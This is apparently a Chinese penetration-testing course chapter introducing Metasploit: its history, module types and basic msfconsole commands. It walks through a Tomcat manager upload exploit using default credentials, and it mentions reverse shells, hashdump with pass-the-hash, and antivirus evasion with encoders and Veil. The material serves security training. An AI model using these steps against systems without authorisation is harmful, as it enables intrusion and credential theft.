第一章:Metasploit框架入门
各位同学,大家好。我是你们这堂课的讲师。说实话,每次讲Metasploit的入门课,我都会想起自己刚入行那会儿——对着黑乎乎的终端,敲着help命令,一脸茫然。嗯,别担心,今天我们就从零开始,把这块硬骨头啃下来。
1.1 Metasploit发展史:从黑客玩具到工业级武器
Metasploit最早是2003年由HD Moore用Perl写的。那时候它就是个渗透测试的小工具集,功能远没现在这么强大。我记得我第一次接触它是在2009年,当时还是2.x版本,界面简陋得不行。
后来Rapid7公司收购了它,把它从Perl重写成了Ruby。这一改,不得了。框架的扩展性、模块化程度都上了一个台阶。现在它已经是全球最流行的渗透测试框架了,没有之一。
为什么会这么火?说白了,它把「漏洞利用」这件事儿给标准化了。你想想看,以前挖到一个漏洞,你得自己写完整的利用代码,从socket连接到shellcode注入,全得自己来。有了Metasploit,你只需要关注漏洞本身,剩下的框架帮你搞定。
核心转折点:
- 2003年:HD Moore发布第一个版本(Perl语言)
- 2007年:Ruby重写,架构大升级
- 2009年:Rapid7收购,开始商业化
- 2016年:发布Metasploit 5.0,引入Evasion模块
- 2020年:Metasploit 6.0,强化了后渗透和云环境支持
1.2 核心架构:理解框架的「骨架」
Metasploit的架构,我习惯把它比作一个「乐高积木系统」。每个模块都是独立的积木块,你可以自由组合。但前提是——你得知道这些积木块长什么样。
先看一张我画的架构图,帮你快速建立整体认知:
这张图你看懂了吗?从上到下,用户通过msfconsole等接口操作,核心库负责底层调度,模块层提供具体功能,最终作用在目标系统上。我个人觉得,理解这个分层结构,比背100条命令都重要。
1.3 模块类型详解:六种积木块
模块层是Metasploit的灵魂。一共六种类型,我一个个说。
1.3.1 Exploit(漏洞利用模块)
这是最核心的模块。它的任务就一个:触发目标系统的漏洞。比如一个缓冲区溢出漏洞,Exploit模块负责构造特殊的数据包,让目标程序崩溃并执行我们的代码。
我在项目中遇到过最典型的例子,是一个路由器固件的栈溢出漏洞。当时用Metasploit的exploit模块,配合调试器,一步步找到了触发条件。嗯,那种感觉就像在拆炸弹——红线还是蓝线,选错了就崩了。
1.3.2 Payload(攻击载荷模块)
Exploit把门踹开了,Payload负责进去「干活」。常见的Payload有:
- reverse_tcp:目标主动连接我们的机器(最常用)
- bind_tcp:我们在目标上开一个端口,然后连过去
- meterpreter:Metasploit的「王牌」Payload,功能极其强大
我的建议:新手优先掌握reverse_tcp和meterpreter。bind_tcp在NAT环境下经常失效,你想想看,目标在内网里,你从外网怎么连它的端口?
1.3.3 Auxiliary(辅助模块)
辅助模块不负责「攻击」,它做的是信息收集、扫描、嗅探、爆破等「脏活累活」。比如:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1
msf6 auxiliary(scanner/portscan/tcp) > run
这段代码就是扫描目标IP的开放端口。我曾经在渗透测试中,靠这个模块发现了一个隐藏的Telnet端口——嗯,那个设备的管理员密码还是admin/admin。
1.3.4 Post(后渗透模块)
拿到shell之后干什么?Post模块就是干这个的。提权、抓密码、横向移动、清理日志……
我记得有一次,我通过Post模块的hashdump拿到了Windows域管理员的NTLM哈希,然后直接用pass-the-hash登录了域控。整个过程行云流水,客户看了直冒冷汗。
1.3.5 Encoder(编码器模块)
编码器用来「伪装」Payload,绕过杀毒软件和入侵检测系统。比如把Payload编码成不同的格式,或者插入垃圾指令。
注意:编码器不是万能的。现在的杀软都有行为检测,单纯靠编码器绕过越来越难了。我曾经试过用shikata_ga_nai编码器,结果还是被Windows Defender拦了。后来换了Veil框架才搞定。
1.3.6 NOP(空指令模块)
NOP模块生成空指令(比如x86的0x90)。在缓冲区溢出中,NOP sled用来提高利用成功率。说白了,就是给Payload「铺一条路」,让程序执行流滑到我们的代码上。
1.4 控制台基础命令:上手实操
理论说完了,咱们来点实际的。打开你的终端,输入msfconsole,你会看到这样的界面:
msf6 >
这就是Metasploit的交互式控制台。下面是我常用的几个命令:
| 命令 | 作用 | 我的使用习惯 |
|---|---|---|
help |
查看帮助 | 记不住命令时,先敲help |
search |
搜索模块 | 比如 search type:exploit name:tomcat |
use |
加载模块 | use exploit/multi/http/tomcat_mgr_upload |
show options |
查看模块参数 | 每次加载模块后必看 |
set |
设置参数 | set RHOSTS 192.168.1.100 |
run |
执行模块 | run 或 exploit 都可以 |
back |
返回上级 | 选错模块时快速退出 |
sessions |
管理会话 | sessions -i 1 进入会话1 |
来,我带你走一遍完整流程。假设我们要攻击一个Tomcat服务器:
msf6 > search tomcat
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.100
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set TARGETURI /manager
msf6 exploit(multi/http/tomcat_mgr_upload) > set USERNAME admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set PASSWORD admin
msf6 exploit(multi/http/tomcat_mgr_upload) > run
看到没?就这么几行命令,一个漏洞利用就完成了。当然,实际渗透中不会这么顺利。我曾经遇到过目标改了默认端口、加了认证、甚至用了WAF——这时候就需要你灵活调整参数了。
避坑指南:
- 我曾经因为忘记设置LHOST,导致反弹shell一直连不上——检查了半小时才发现。
- 我曾经在公网渗透时,Payload被防火墙拦截——后来改用HTTPS的reverse_https才搞定。
- 我曾经在嵌入式设备上跑meterpreter,结果设备直接死机——嗯,有些IoT设备的内存太小,跑不动。
好了,第一章的内容就到这里。记住,Metasploit是个工具,真正值钱的是你脑子里的思路。多动手、多踩坑,你才能成为真正的渗透测试专家。
公众号:蓝海资料掘金营,微信deep3321